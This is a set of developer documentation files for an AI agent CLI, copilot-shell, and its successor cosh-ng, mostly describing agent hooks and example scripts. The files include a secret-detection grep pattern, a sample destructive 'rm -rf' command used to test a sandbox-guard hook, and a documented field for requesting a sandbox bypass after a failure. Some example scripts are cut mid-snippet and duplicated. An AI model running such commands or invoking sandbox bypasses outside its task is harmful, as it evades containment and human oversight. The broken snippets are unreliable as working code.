`reason`: Required if denied. Sent to the agent as a tool error. Also used as the fallback notification text when `systemMessage` is omitted. - `hookSpecificOutput.tool_input`: An object that **merges with and overrides** the model's arguments before execution. - `continue`: Set to `false` to **kill the entire agent loop**. - **Ask-dialog note**: When `decision` is `"ask"`, the tool confirmation dialog always uses a fixed prompt — `A hook requires your confirmation to proceed.` — instead of the hook's `systemMessage`. The hook's `systemMessage` is still shown as a separate notification box above the dialog, so users see both the reason and the confirmation choice. - **Exit Code 2 (Block Tool)**: Prevents execution. Uses `stderr` as reason. ### `PostToolUse` Fires after a tool executes. Used for result auditing, context injection, or hiding sensitive output from the agent. - **Input Fields**: - `tool_use_id`: (`string`) Optional unique identifier for the tool use. - `tool_name`: (`string`) - `tool_input`: (`object`) The original arguments. - `tool_response`: (`object`) The result. - `mcp_context`: (`object`) Optional MCP metadata. - `original_request_name`: (`string`) - **Relevant Output Fields**: - `decision`: Set to `"deny"` to hide the real tool output from the agent. - `reason`: Required if denied. **Replaces** the tool result sent to model. - `hookSpecificOutput.additionalContext`: Appended to the tool result. - `hookSpecificOutput.tailToolCallRequest`: (`{ name, args }`) Execute another tool immediately; its result replaces the original response. - `continue`: Set to `false` to kill the agent loop. ### `PostToolUseFailure` Fires when a tool execution fails. Used for error recovery and sandbox bypass. - **Input Fields**: - `tool_use_id`: (`string`) Unique identifier for the tool use. - `tool_name`: (`string`) - `tool_input`: (`object`) - `error`: (`string`) Error message describing the failure. - `error_type`: (`string`) Type of error (e.g., `"timeout"`, `"permission"`). - `is_interrupt`: (`boolean`) Whether failure was caused by user interruption. - **Relevant Output Fields**: - `hookSpecificOutput.additionalContext`: Context to help the agent recover. - `hookSpecificOutput.sandbox_bypass_request`: (`{ original_command, reason }`) Request to bypass sandbox and re-run the original command. --- ## Agent hooks ### `UserPromptSubmit` Fires after a user submits a prompt, before the agent begins planning. Used for prompt validation or injecting dynamic context. - **Input Fields**: - `prompt`: (`string`) The original text submitted by the user. - **Relevant Output Fields**: - `hookSpecificOutput.additionalContext`: Text **appended** to the prompt for this turn only. - `decision`: Set to `"deny"` to block the turn and discard the message. - `continue`: Set to `false` to block the turn but save the message. - `reason`: Required if denied or stopped. ### `Stop` Fires when the agent is about to stop. Used for response validation and automatic retries. - **Input Fields**: - `stop_hook_active`: (`boolean`) Indicates if already running as part of a retry sequence. - `last_assistant_message`: (`string`) The final text generated by the agent. - **Relevant Output Fields**: - `decision`: Set to `"deny"` to **reject the response** and force a retry. - `reason`: Required if denied. Sent to the agent as a new prompt. - `continue`: Set to `false` to stop the session. - `stopReason`: Displayed to the user when stopping. --- ## Model hooks ### `BeforeModel` Fires before sending a request to the LLM. Operates on a stable, SDK-agnostic request format via the [Hook Translator](#stable-model-api). - **Input Fields**: - `llm_request`: (`object`) Contains `model`, `messages`, `config`, and optional `toolConfig`. - **Relevant Output Fields**: - `hookSpecificOutput.llm_request`: An object that **overrides** parts of the outgoing request (e.g., changing models or temperature). - `hookSpecificOutput.llm_response`: A **Synthetic Response** object. If provided, the CLI skips the LLM call entirely and uses this as the response. - `decision`: Set to `"deny"` to block this model attempt. Without a synthetic response, the request path returns an empty stream. - **Important Behavior Note**: If blocked without a synthetic response, the empty stream may be handled by stream validation/retry logic rather than immediately terminating the turn. - **Exit Code 2 (Block Turn)**: Treated as a blocking decision (`deny`) for this model attempt. ### `BeforeToolSelection` Fires before the LLM decides which tools to call. Used to filter the available toolset or force specific tool modes. - **Input Fields**: - `llm_request`: (`object`) Same format as `BeforeModel`. - **Relevant Output Fields**: - `hookSpecificOutput.toolConfig.mode`: (`"AUTO" | "ANY" | "NONE"`) - `"NONE"`: Disables all tools (wins over other hooks). - `"ANY"`: Forces at least one tool call. - `hookSpecificOutput.toolConfig.allowedFunctionNames`: (`string[]`) Whitelist of tool names. - **Union Strategy**: Multiple hooks' whitelists are **combined**. - **Limitations**: Does **not** support `decision`, `continue`, or `systemMessage`. ### `AfterModel` Fires after receiving an LLM response. Used for real-time observation, logging, or stop signal. - **Input Fields**: - `llm_request`: (`object`) The original request. - `llm_response`: (`object`) The model's response. - **Relevant Output Fields**: - `hookSpecificOutput.llm_response`: An object that **replaces the stored history entry** for this turn. Note: streaming text already rendered to the terminal cannot be reverted; only the in-memory history (used for future context) is updated. - `decision`: Set to `"deny"` to discard the response from history and block the turn (prevents tool calls from executing). - `continue`: Set to `false` to stop the agent loop after the current turn. --- ## Lifecycle & system hooks ### `SessionStart` Fires on application startup, resuming a session, or after a `/clear` command. - **Input fields**: - `source`: (`"startup" | "resume" | "clear" | "compact"`) - **Relevant output fields**: - `hookSpecificOutput.additionalContext`: Injected as the first turn. - `systemMessage`: Shown at the start of the session. - **Advisory only**: `continue` and `decision` fields are **ignored**. ### `SessionEnd` Fires when the CLI exits or a session is cleared. - **Input Fields**: - `reason`: (`"clear" | "logout" | "prompt_input_exit" | "bypass_permissions_disabled" | "other"`) - **Relevant Output Fields**: - `systemMessage`: Displayed to the user during shutdown. - **Execution Timing**: SessionEnd is executed during shutdown and is awaited in normal cleanup paths. It remains non-blocking in intent (hook failures do not prevent process exit). ### `Notification` Fires when the CLI emits a system alert (e.g., Tool Permissions). - **Input Fields**: - `notification_type`: (`"ToolPermission"`) - `message`: Summary of the alert. - `details`: JSON object with alert-specific metadata. - **Relevant Output Fields**: - `systemMessage`: Displayed alongside the system alert. - **Observability Only**: Cannot block alerts. ### `PreCompact` Fires before the CLI summarizes history to save tokens. - **Input Fields**: - `trigger`: (`"auto" | "manual"`) - `custom_instructions`: (`string`) Optional custom instructions. - **Relevant Output Fields**: - `systemMessage`: Displayed before compression. - **Advisory Only**: Cannot block or modify the compression process. ### `PermissionRequest` Fires when a permission dialog is displayed. - **Input Fields**: - `permission_mode`: (`string`) Current permission mode. - `tool_name`: (`string`) - `tool_input`: (`object`) - `permission_suggestions`: Array of `{ type, tool? }` suggestions. - **Relevant Output Fields**: - `hookSpecificOutput.decision`: `{ behavior: "allow"|"deny", updatedInput?, updatedPermissions?, message?, interrupt? }` --- ## Stable Model API copilot-shell uses a **Hook Translator** layer to decouple hook scripts from the underlying SDK types (`@google/genai`). This ensures hooks don't break across SDK updates. ### LLMRequest ```json { "model": "string", "messages": [ { "role": "user | model | system", "content": "string (text-only, non-text parts are filtered)" } ], "config": { "temperature": 0.7, "maxOutputTokens": 8192, "topP": 0.95, "topK": 40 }, "toolConfig": { "mode": "AUTO | ANY | NONE", "allowedFunctionNames": ["read_file", "write_file"] } } ``` ### LLMResponse ```json { "text": "string (convenience field, first candidate text)", "candidates": [ { "content": { "role": "model", "parts": ["text part 1", "text part 2"] }, "finishReason": "STOP | MAX_TOKENS | SAFETY | RECITATION | OTHER", "index": 0, "safetyRatings": [ { "category": "string", "probability": "string", "blocked": false } ] } ], "usageMetadata": { "promptTokenCount": 100, "candidatesTokenCount": 200, "totalTokenCount": 300 } } ``` ### HookToolConfig ```json { "mode": "AUTO | ANY | NONE", "allowedFunctionNames": ["tool_name_1", "tool_name_2"] } ``` ### Mode priority (multi-hook aggregation) When multiple hooks return different modes, they are aggregated: - `NONE` always wins (most restrictive) - `ANY` > `AUTO` - `allowedFunctionNames` are **unioned** across all hooks (sorted for deterministic behavior) ===== docs/developer-guide/en/copilot-shell/hooks/writing-hooks.md ===== # Writing Hooks This guide walks you through creating hooks for copilot-shell from scratch, from simple logging to complete workflow automation. ## Prerequisites - copilot-shell installed and configured - Familiarity with Shell scripting, Python, or Node.js - Understanding of JSON format ## Quick Start Create a simple hook that logs all tool executions. **Key rule**: Always write logs to `stderr`; only write the final JSON to `stdout`. ### Step 1: Create the hook script ```bash mkdir -p .copilot-shell/hooks cat > .copilot-shell/hooks/log-tools.sh << 'EOF' #!/usr/bin/env bash input=$(cat) tool_name=$(echo "$input" | jq -r '.tool_name') echo "Logging tool: $tool_name" >&2 echo "[$(date)] Tool executed: $tool_name" >> .copilot-shell/tool-log.txt echo "{}" EOF chmod +x .copilot-shell/hooks/log-tools.sh ``` ### Step 2: Register in settings.json ```json { "hooks": { "enabled": true, "PostToolUse": [ { "hooks": [ { "type": "command", "command": ".copilot-shell/hooks/log-tools.sh", "name": "tool-logger", "timeout": 5000 } ] } ] } } ``` ### Step 3: Run After starting copilot-shell, every tool execution will be logged to `.copilot-shell/tool-log.txt`. --- ## Practical Examples ### Security: Block Writing Secrets to Files Prevent writing files that contain API keys or passwords. **`.copilot-shell/hooks/block-secrets.sh`:** ```bash #!/usr/bin/env bash input=$(cat) content=$(echo "$input" | jq -r '.tool_input.content // .tool_input.new_string // ""') if echo "$content" | grep -qE 'api[_-]?key|password|secret'; then echo "Blocked potential secret" >&2 cat </dev/null || echo "No git history") cat < m.role === 'user'); if (!lastUserMessage) { console.log(JSON.stringify({})); return; } const text = lastUserMessage.content; const allowed = ['write_todos']; if (text.includes('read') || text.includes('check')) { allowed.push('read_file', 'list_directory'); } if (text.includes('test')) { allowed.push('run_shell_command'); } if (allowed.length > 1) { console.log(JSON.stringify({ hookSpecificOutput: { hookEventName: 'BeforeToolSelection', toolConfig: { mode: 'ANY', allowedFunctionNames: allowed } } })); } else { console.log(JSON.stringify({})); } } main(); ``` ### Model Routing (BeforeModel) Route requests to different models based on complexity. **`.copilot-shell/hooks/model-router.py`:** ```python #!/usr/bin/env python3 import sys, json input_data = json.load(sys.stdin) llm_request = input_data.get("llm_request", {}) messages = llm_request.get("messages", []) last_msg = messages[-1]["content"] if messages else "" is_simple = len(last_msg) < 100 and not any( kw in last_msg.lower() for kw in ["refactor", "architect", "design"] ) if is_simple: result = { "hookSpecificOutput": { "hookEventName": "BeforeModel", "llm_request": { "model": "qwen-turbo", "config": {"temperature": 0.3}, }, } } else: result = {} print(json.dumps(result)) ``` ### Synthetic Response (BeforeModel — Mock) Skip the LLM call and return a predefined response directly. **`.copilot-shell/hooks/mock-response.py`:** ```python #!/usr/bin/env python3 import sys, json input_data = json.load(sys.stdin) messages = input_data.get("llm_request", {}).get("messages", []) last_msg = messages[-1]["content"] if messages else "" if "ping" in last_msg.lower(): result = { "decision": "deny", "reason": "Synthetic response handled by BeforeModel hook", "hookSpecificOutput": { "hookEventName": "BeforeModel", "llm_response": { "text": "pong!", "candidates": [{ "content": {"role": "model", "parts": ["pong!"]}, "finishReason": "STOP" }], "usageMetadata": {"totalTokenCount": 0} } } } print(json.dumps(result)) else: print("{}") ``` ### Audit Trail (PostToolUse) Use `run_id` to correlate all tool calls within a single agent run. **`.copilot-shell/hooks/audit-trail.py`:** ```python #!/usr/bin/env python3 import sys, json, datetime input_data = json.load(sys.stdin) entry = { "timestamp": datetime.datetime.now().isoformat(), "session_id": input_data["session_id"], "run_id": input_data.get("run_id"), "event": input_data["hook_event_name"], "tool": input_data.get("tool_name", ""), } with open(".copilot-shell/audit.jsonl", "a") as f: f.write(json.dumps(entry) + "\n") print("{}") ``` Query all operations for a specific run: ```bash jq 'select(.run_id == "sess########3")' .copilot-shell/audit.jsonl ``` --- ## Writing Hooks in Different Languages ### Python (Recommended for complex logic) ```python #!/usr/bin/env python3 import sys, json def main(): try: input_data = json.load(sys.stdin) except (json.JSONDecodeError, EOFError): print(json.dumps({})) return # Your logic here print(json.dumps({"decision": "allow"})) if __name__ == "__main__": main() ``` ### Node.js ```javascript #!/usr/bin/env node const fs = require('fs'); function main() { const input = JSON.parse(fs.readFileSync(0, 'utf-8')); // Your logic here console.log(JSON.stringify({ decision: 'allow' })); } main(); ``` ### Bash (Only for simple hooks) ```bash #!/usr/bin/env bash input=$(cat) tool_name=$(echo "$input" | jq -r '.tool_name // empty') echo '{"decision": "allow"}' ``` --- ## Testing Hooks Manually test by piping JSON directly to the script: ```bash printf '{"hook_event_name":"PreToolUse","tool_name":"run_shell_command", "tool_input":{"command":"rm -rf /tmp/test"}}' \ | python3 .copilot-shell/hooks/block-secrets.sh ``` Enable live tracing in a session by setting `COPILOT_SHELL_DEBUG=1` to see hook invocations and their raw output in debug logs. # Writing hooks for copilot-shell This guide walks you through creating hooks for copilot-shell, from simple logging to comprehensive workflow automation. ## Prerequisites - copilot-shell installed and configured - Basic understanding of shell scripting, Python, or Node.js - Familiarity with JSON for hook input/output ## Quick start Let's create a simple hook that logs all tool executions. **Crucial Rule:** Always write logs to `stderr`. Write only the final JSON to `stdout`. ### Step 1: Create your hook script ```bash mkdir -p .copilot-shell/hooks cat > .copilot-shell/hooks/log-tools.sh << 'EOF' #!/usr/bin/env bash input=$(cat) tool_name=$(echo "$input" | jq -r '.tool_name') echo "Logging tool: $tool_name" >&2 echo "[$(date)] Tool executed: $tool_name" >> .copilot-shell/tool-log.txt echo "{}" EOF chmod +x .copilot-shell/hooks/log-tools.sh ``` ### Step 2: Register in settings.json ```json { "hooks": { "enabled": true, "PostToolUse": [ { "hooks": [ { "type": "command", "command": ".copilot-shell/hooks/log-tools.sh", "name": "tool-logger", "timeout": 5000 } ] } ] } } ``` ### Step 3: Run copilot-shell Now every tool execution will be logged to `.copilot-shell/tool-log.txt`. --- ## Practical examples ### Security: Block secrets in file writes Prevent writing files containing API keys or passwords. **`.copilot-shell/hooks/block-secrets.sh`:** ```bash #!/usr/bin/env bash input=$(cat) content=$(echo "$input" | jq -r '.tool_input.content // .tool_input.new_string // ""') if echo "$content" | grep -qE 'api[_-]?key|password|secret'; then echo "Blocked potential secret" >&2 cat </dev/null || echo "No git history") cat < m.role === 'user'); if (!lastUserMessage) { console.log(JSON.stringify({})); return; } const text = lastUserMessage.content; const allowed = ['write_todos']; if (text.includes('read') || text.includes('check')) { allowed.push('read_file', 'list_directory'); } if (text.includes('test')) { allowed.push('run_shell_command'); } if (allowed.length > 1) { console.log( JSON.stringify({ hookSpecificOutput: { hookEventName: 'BeforeToolSelection', toolConfig: { mode: 'ANY', allowedFunctionNames: allowed, }, }, }), ); } else { console.log(JSON.stringify({})); } } main().catch((err) => { console.error(err); process.exit(1); }); ``` ### Model Router (BeforeModel) Route requests to different models based on complexity. **`.copilot-shell/hooks/model-router.py`:** ```python #!/usr/bin/env python3 import sys, json input_data = json.load(sys.stdin) llm_request = input_data.get("llm_request", {}) messages = llm_request.get("messages", []) # Check if the last message is simple last_msg = messages[-1]["content"] if messages else "" is_simple = len(last_msg) < 100 and not any( kw in last_msg.lower() for kw in ["refactor", "architect", "design"] ) if is_simple: # Use a faster, cheaper model for simple queries result = { "hookSpecificOutput": { "hookEventName": "BeforeModel", "llm_request": { "model": "qwen-turbo", "config": {"temperature": 0.3}, }, } } else: result = {} print(json.dumps(result)) ``` ### Synthetic Response (BeforeModel — Mock) Skip the LLM call entirely and return a predefined response. **`.copilot-shell/hooks/mock-response.py`:** ```python #!/usr/bin/env python3 import sys, json input_data = json.load(sys.stdin) llm_request = input_data.get("llm_request", {}) messages = llm_request.get("messages", []) last_msg = messages[-1]["content"] if messages else "" if "ping" in last_msg.lower(): result = { "decision": "deny", "reason": "Synthetic response handled by BeforeModel hook", "hookSpecificOutput": { "hookEventName": "BeforeModel", "llm_response": { "text": "pong!", "candidates": [{ "content": {"role": "model", "parts": ["pong!"]}, "finishReason": "STOP" }], "usageMetadata": {"totalTokenCount": 0} } } } print(json.dumps(result)) else: print("{}") ``` ### Audit Trail with run_id (PostToolUse) Use `run_id` to correlate all tool calls within a single agent run for auditing. **`.copilot-shell/hooks/audit-trail.py`:** ```python #!/usr/bin/env python3 import sys, json, datetime input_data = json.load(sys.stdin) entry = { "timestamp": datetime.datetime.now().isoformat(), "session_id": input_data["session_id"], "run_id": input_data.get("run_id"), "event": input_data["hook_event_name"], "tool": input_data.get("tool_name", ""), } with open(".copilot-shell/audit.jsonl", "a") as f: f.write(json.dumps(entry) + "\n") print("{}") ``` Query all actions from a specific run: ```bash jq 'select(.run_id == "sess########3")' .copilot-shell/audit.jsonl ``` ### Response Logger (AfterModel) Log all LLM responses for auditing. **`.copilot-shell/hooks/log-responses.py`:** ```python #!/usr/bin/env python3 import sys, json, datetime input_data = json.load(sys.stdin) llm_response = input_data.get("llm_response", {}) llm_request = input_data.get("llm_request", {}) entry = { "timestamp": datetime.datetime.now().isoformat(), "model": llm_request.get("model", "unknown"), "response_text": llm_response.get("text", "")[:200], "tokens": llm_response.get("usageMetadata", {}).get("totalTokenCount", 0) } with open(".copilot-shell/response-log.jsonl", "a") as f: f.write(json.dumps(entry) + "\n") # Observation only - return empty output print("{}") ``` --- ## Writing hooks in different languages ### Python (Recommended for complex logic) ```python #!/usr/bin/env python3 import sys, json def main(): try: input_data = json.load(sys.stdin) except (json.JSONDecodeError, EOFError): print(json.dumps({})) return # Your logic here print(json.dumps({"decision": "allow"})) if __name__ == "__main__": main() ``` ### Node.js ```javascript #!/usr/bin/env node const fs = require('fs'); function main() { const input = JSON.parse(fs.readFileSync(0, 'utf-8')); // Your logic here console.log(JSON.stringify({ decision: 'allow' })); } main(); ``` ### Bash (Simple hooks only) ```bash #!/usr/bin/env bash input=$(cat) # Use jq for JSON parsing tool_name=$(echo "$input" | jq -r '.tool_name // empty') echo '{"decision": "allow"}' ``` --- ## Testing your hooks You can test hooks manually by piping JSON directly to your script. For example, to test the built-in `sandbox-guard.py` hook with a dangerous command: ```bash printf '{"hook_event_name":"PreToolUse","tool_name":"run_shell_command", "tool_input":{"command":"rm -rf /tmp/test"}}' \ | python3 src/copilot-shell/hooks/sandbox-guard.py ``` For live tracing during a session, set `COPILOT_SHELL_DEBUG=1` to see hook invocations and their raw outputs in the debug log. ===== docs/developer-guide/en/cosh-ng/adding-commands.md ===== # Adding CLI Commands [中文版](../../zh/cosh-ng/adding-commands.md) ## Overview cosh-cli uses clap to build its command tree, with each subsystem corresponding to a `cmd/.rs` module. Adding a new command requires modifications across three layers: type definitions (cosh-types) → platform implementation (cosh-platform) → CLI entry (cosh-cli). ## Steps ### 1. Define Response Types (cosh-types) Add or extend data types in `crates/cosh-types/src/`: ```rust // crates/cosh-types/src/my_subsystem.rs use serde::Serialize; #[derive(Debug, Serialize)] pub struct MyResult { pub field: String, pub success: bool, } ``` Export in `lib.rs`. ### 2. Implement Platform Logic (cosh-platform) Implement the actual operation in `crates/cosh-platform/src/`: ```rust // crates/cosh-platform/src/my_subsystem.rs use cosh_types::error::CoshError; use cosh_types::my_subsystem::MyResult; use crate::detect::Distro; pub fn my_action(distro: &Distro, param: &str, dry_run: bool) -> Result { if dry_run { return Ok(MyResult { field: param.to_string(), success: true }); } // Actual execution logic... Ok(MyResult { field: param.to_string(), success: true }) } ``` ### 3. Register CLI Command (cosh-cli) Create `crates/cosh-cli/src/cmd/my_subsystem.rs`: ```rust use std::time::Instant; use clap::Subcommand; use cosh_platform::detect::Distro; use cosh_platform::my_subsystem; use crate::{build_meta, print_failure, print_success}; #[derive(Subcommand)] pub enum MyCommands { /// Do something DoSomething { /// Target parameter target: String, /// Preview without executing #[arg(long)] dry_run: bool, }, } pub fn run(action: MyCommands, distro: &Distro, start: Instant) -> i32 { match action { MyCommands::DoSomething { target, dry_run } => { match my_subsystem::my_action(distro, &target, dry_run) { Ok(result) => print_success(result, build_meta("my", distro, start, dry_run)), Err(e) => print_failure(e, build_meta("my", distro, start, dry_run)), } } } } ``` Register in `cmd/mod.rs`: ```rust pub mod my_subsystem; ``` Add the subcommand in `main.rs`: ```rust #[derive(Subcommand)] enum Commands { // ...existing... /// My new subsystem My { #[command(subcommand)] action: cmd::my_subsystem::MyCommands, }, } ``` And add the branch in `match cli.command`: ```rust Commands::My { action } => cmd::my_subsystem::run(action, &distro, start), ``` ### 4. Add Integration Tests Add tests in `crates/cosh-cli/tests/cli_integration.rs`: ```rust #[test] fn test_my_command_json_envelope() { let output = run_cli(&["my", "do-something", "target", "--dry-run"]); let resp: serde_json::Value = serde_json::from_str(&output).unwrap(); assert_eq!(resp["ok"], true); assert_eq!(resp["meta"]["subsystem"], "my"); assert_eq!(resp["meta"]["dry_run"], true); } ``` ## Design Constraints | Rule | Description | |------|-------------| | JSON output | Always use `CoshResponse` envelope | | Exit codes | Success = 0, Failure = 1 | | `--dry-run` | Add it only when the backend can provide a genuinely non-mutating preview; it is an action flag, not a global CLI promise | | Input validation | Use `validate_*` to check parameters before execution | | subsystem field | `meta.subsystem` must match the command name | | Distribution routing | Logic that needs to distinguish distributions goes in `cosh-platform` | ===== docs/developer-guide/en/cosh-ng/adding-distros.md ===== # Adding Distribution Support [中文版](../../zh/cosh-ng/adding-distros.md) ## Overview cosh-ng abstracts OS differences through `Distro` and `PkgManager`. Before adding a first-class distribution, check whether its `ID_LIKE` already maps it to the DNF, Apt, or Zypper family. Compatible derivatives need tests and documentation, but usually no new enum variant or backend. ## Steps ### 1. Decide whether a first-class variant is needed Linux detection reads `/etc/os-release`, falling back to `/usr/lib/os-release` only when the first file does not exist. It first matches the normalized `ID`, then scans whitespace-separated `ID_LIKE` values from left to right. An unlisted distribution such as Rocky Linux (`ID=rocky ID_LIKE="rhel fedora"`) becomes `Distro::Compatible`. The detected package-manager family is DNF while `id_str()` and JSON output continue to report `rocky`. Add a first-class variant only when the distribution needs distinct behavior that a compatible family cannot express. ### 2. Add a Distro enum variant Add a variant in `crates/cosh-platform/src/detect.rs`: ```rust #[derive(Debug, Clone, PartialEq, Eq)] pub enum Distro { // ...existing... MyDistro { version: String }, // New } ``` ### 3. Implement detection logic Add ID mapping in the `detect_from_content()` match branch: ```rust match id.as_deref() { // ...existing... Some("mydistro") => Distro::MyDistro { version }, // ... } ``` Values are normalized to lowercase. Keep direct `ID` matching ahead of the `ID_LIKE` fallback so an explicitly supported distribution retains its own variant. ### 4. Implement helper methods ```rust impl Distro { pub fn id_str(&self) -> &str { match self { // ...existing... Distro::MyDistro { .. } => "mydistro", } } pub fn display_name(&self) -> String { match self { // ...existing... Distro::MyDistro { version } => format!("MyDistro {}", version), } } pub fn pkg_manager(&self) -> PkgManager { match self { // ...existing... Distro::MyDistro { .. } => PkgManager::Dnf, // Choose based on actual situation } } } ``` If the new distribution uses a package manager not in the existing `PkgManager` enum, extend that enum first. ### 5. Add a package-manager backend (if needed) If a new `PkgManager` variant is needed, add the corresponding command builder in `crates/cosh-platform/src/pkg.rs`: ```rust // New PkgManager variant pub enum PkgManager { // ...existing... Pacman, } // Add routing branch in pkg_install / pkg_remove / pkg_search / pkg_list PkgManager::Pacman => ("pacman", vec!["-S", "--noconfirm", package]), ``` ### 6. Add unit tests Add in the `#[cfg(test)]` module of `detect.rs`: ```rust #[test] fn test_detect_mydistro() { let content = "NAME=\"My Distro\"\nVERSION_ID=\"1.0\"\nID=mydistro\n"; let distro = Distro::detect_from_content(content); assert_eq!(distro, Distro::MyDistro { version: "1.0".into() }); assert_eq!(distro.pkg_manager(), PkgManager::Dnf); } ``` For a compatible derivative, cover its real `ID`, quoted and unquoted `ID_LIKE`, the first recognized family, and the preserved JSON identifier. ### 7. Run targeted tests ```bash cd src/cosh-ng # Run detection-related tests cargo test --locked -p cosh-platform test_detect # Run full test suite cargo test --locked -p cosh-platform # Run CLI integration tests (ensure new routing doesn't break JSON envelope) cargo test --locked -p cosh-cli ``` ## Current Support Matrix | Distribution ID | Distro Variant | PkgManager | Notes | |----------------|---------------|------------|-------| | `alinux` | `Alinux` | Dnf | Alibaba Cloud native Linux | | `centos` | `CentOS` | Dnf | | | `fedora` | `Fedora` | Dnf | | | `ubuntu` | `Ubuntu` | Apt | | | `debian` | `Debian` | Apt | | | `opensuse-leap` / `opensuse-tumbleweed` / `sles` | `OpenSUSE` | Zypper | Three IDs map to same variant | | Unlisted ID with `ID_LIKE=alinux/centos/fedora/rhel` | `Compatible` | Dnf | Keeps the real `ID`; for example, `rocky` | | Unlisted ID with `ID_LIKE=debian/ubuntu` | `Compatible` | Apt | Keeps the real `ID` | | Unlisted ID with `ID_LIKE=opensuse/suse` | `Compatible` | Zypper | Keeps the real `ID` | ## Design Constraints | Rule | Description | |------|-------------| | Lowercase ID | `detect_from_content()` does `to_lowercase()` on ID | | Compatible fallback | The first recognized whitespace-separated `ID_LIKE` family selects the package manager | | Unknown fallback | IDs with no direct or compatible family match become `Unknown(String)`; package operations return `UnsupportedDistro` | | Multi-ID merge | Multiple IDs can map to the same Distro variant (e.g., opensuse family) | | Package manager decoupling | `PkgManager` and `Distro` are separate enums, mapped via `pkg_manager()` | | File precedence | `/etc/os-release` takes precedence; `/usr/lib/os-release` is used only when it is absent | ## Complete Checklist - [ ] Decide whether `ID_LIKE` compatibility is sufficient - [ ] Add a `Distro` variant and direct-ID match only when distinct behavior is required - [ ] `id_str()` preserves the correct distribution identifier - [ ] `display_name()` returns a readable name - [ ] `pkg_manager()` maps to the intended family - [ ] `Display` trait (via `display_name()`) formats correctly - [ ] Tests cover direct IDs, `ID_LIKE`, quotes, file fallback, and unknown input as applicable - [ ] If a new `PkgManager` is needed, add routing in all `pkg.rs` operations - [ ] Update [Supported distributions](../../../user-guide/en/user-entrypoint/cosh-ng/supported-distros.md) ===== docs/developer-guide/en/cosh-ng/architecture.md ===== # cosh-ng Architecture [中文版](../../zh/cosh-ng/architecture.md) cosh-ng separates the interactive terminal, Agent runtime, and deterministic OS API so each boundary can be tested and integrated independently. ## System view ```text bash/zsh <--- cosh-shell | | JSONL v cosh-core | +--> provider / tools / MCP | +--> cosh-platform ---> cosh-types caller ---> cosh-cli ---> cosh-platform ---> cosh-types ``` The launcher installed as `cosh` normally executes `cosh-shell raw cosh-core`. `cosh-shell` is compile-time independent of the other workspace crates, but it owns a long-lived cosh-core child at runtime. The stdin/stdout protocol between them must remain backward-aware because either side can fail or restart independently. ## Crate responsibilities | Crate | Binary | Owns | Must not own | |---|---|---|---| | `cosh-types` | — | Side-effect-free response, error, config, audit, and checkpoint wire types | OS access or runtime policy | | `cosh-platform` | — | Distro detection, package/service adapters, audit policy/store, ws-ckpt client | CLI rendering or Agent UX | | `cosh-cli` | `cosh-cli` | Clap commands, JSON envelope, exit status | Distro-specific branching outside platform adapters | | `cosh-core` | `cosh-core` | Providers, tool loop, hooks, Skills, MCP, extensions, registry, sessions, and compaction | Terminal ownership or foreground PTY interaction | | `cosh-shell` | `cosh-shell` | PTY host, input routing, cards, approvals, evidence, UI, core process lifecycle | Provider implementation or direct OS API abstraction | ## Interactive data flow 1. `cosh-shell` starts bash/zsh in a PTY and installs OSC lifecycle markers. 2. Input routing sends shell syntax to the PTY, slash commands to the local control surface, and natural language to the Agent adapter. 3. The default adapter maintains a cosh-core process and sends one JSONL user message per Agent turn. 4. cosh-core resolves workspace config, the provider, Skills, extensions, MCP tools, and session state, then streams events back. 5. cosh-shell governs those events and renders text, question cards, or approval cards. 6. Approved shell execution is handed back to the foreground PTY. OSC evidence is correlated with the Agent run and returned to core when requested. 7. Registry mutations such as extension reload use the same long-lived core and publish changes at a safe generation boundary. ## Deterministic CLI data flow ```text Clap command → command module validates arguments → cosh-platform selects the backend → backend returns typed data or CoshError → cosh-cli emits CoshResponse → exit 0 on success, exit 1 on operation failure ``` Package and service writes support `--dry-run`. Checkpoint calls cross a Unix socket using bincode with a four-byte little-endian length prefix. ## cosh-shell ownership map | Owner | Responsibility | |---|---| | `shell_host/` | PTY lifecycle, OSC parsing, shell integration, raw relay | | `raw_input/` and `input/` | terminal modes, multiline input, input relay | | `slash/` | slash parser, registry, and command-specific presentation | | `adapter/` | provider/core adapters and control protocol transport | | `agent/` | Agent run lifecycle and governed events | | `runtime/` | orchestration, shared state, dispatch, and startup | | `approval/` and `question/` | user decisions and control responses | | `hooks/` | hook policy and execution; hands mutations to runtime boundaries | | `tools/` | command risk model, read-only rules, tool presentation | | `ui/` | terminal rendering and card components | | `evidence/`, `journal/`, `ledger/` | bounded evidence and decision records | New implementation files do not belong at the `cosh-shell/src/` root. Keep owner boundaries visible and run `crates/cosh-shell/scripts/check-layout.sh` after structural changes. ## Compatibility and safety contracts - `CoshResponse` is the stable automation envelope. - ws-ckpt enum order is part of the binary wire format. - cosh-core messages are newline-delimited JSON; stdout must not contain logs or UI prose in headless mode. - A running Agent turn is pinned to its registry generation. A healthy candidate activates immediately only when idle; otherwise it waits for a safe point. - Session state is workspace-scoped. Recovery restores model-visible conversation, not historical terminal evidence. - Core read tools are pinned to the canonical startup workspace. A later `cd` changes the shell directory, not the read boundary; path and mount escapes fail closed. - Foreground shell handoffs are serialized. Input-wait timeouts apply only when kernel evidence shows a foreground process waiting for input; pipelines and full-screen programs are exempt. - Linux package routing may use the first recognized `ID_LIKE` family while preserving the distribution's real `ID` in typed and JSON output. - Tool auto-approval fails closed. Raw command substring matching is not a security boundary. Continue with [Developing cosh-ng](getting-started.md), [IPC protocols](ipc-protocol.md), and [Testing](testing.md). ===== docs/developer-guide/en/cosh-ng/getting-started.md ===== # Developing cosh-ng [中文版](../../zh/cosh-ng/getting-started.md) This guide gets a new contributor from checkout to a focused, validated change. Read the repository `AGENTS.md`, `src/cosh-ng/AGENTS.md`, and this page before editing code; those files contain constraints that are intentionally not duplicated here. ## 1. Prepare the workspace cosh-ng is a Linux-first Rust workspace that also builds on macOS. The minimum Rust version is 1.74, and `rust-toolchain.toml` selects stable Rust with rustfmt and Clippy. ```bash cd src/cosh-ng rustup show cargo build --workspace ``` Do not install packages, change services, or run mutating `cosh-cli` commands on the development host. Use unit tests, mocks, `--dry-run`, or an explicitly isolated environment. ## 2. Understand the runtime boundary There are five crates but three user-facing processes: | Area | Start reading | Boundary | |---|---|---| | Structured OS operations | `crates/cosh-cli/src/main.rs` | Clap to `cosh-platform` to JSON envelope | | Agent runtime | `crates/cosh-core/src/main.rs` | JSONL/registry input to provider, tools, and session state | | Interactive terminal | `crates/cosh-shell/src/main.rs` | terminal input, PTY events, cards, and a child cosh-core process | | Shared platform code | `crates/cosh-platform/src/lib.rs` | distro, package, service, audit, checkpoint adapters | | Wire and output types | `crates/cosh-types/src/lib.rs` | side-effect-free contracts | 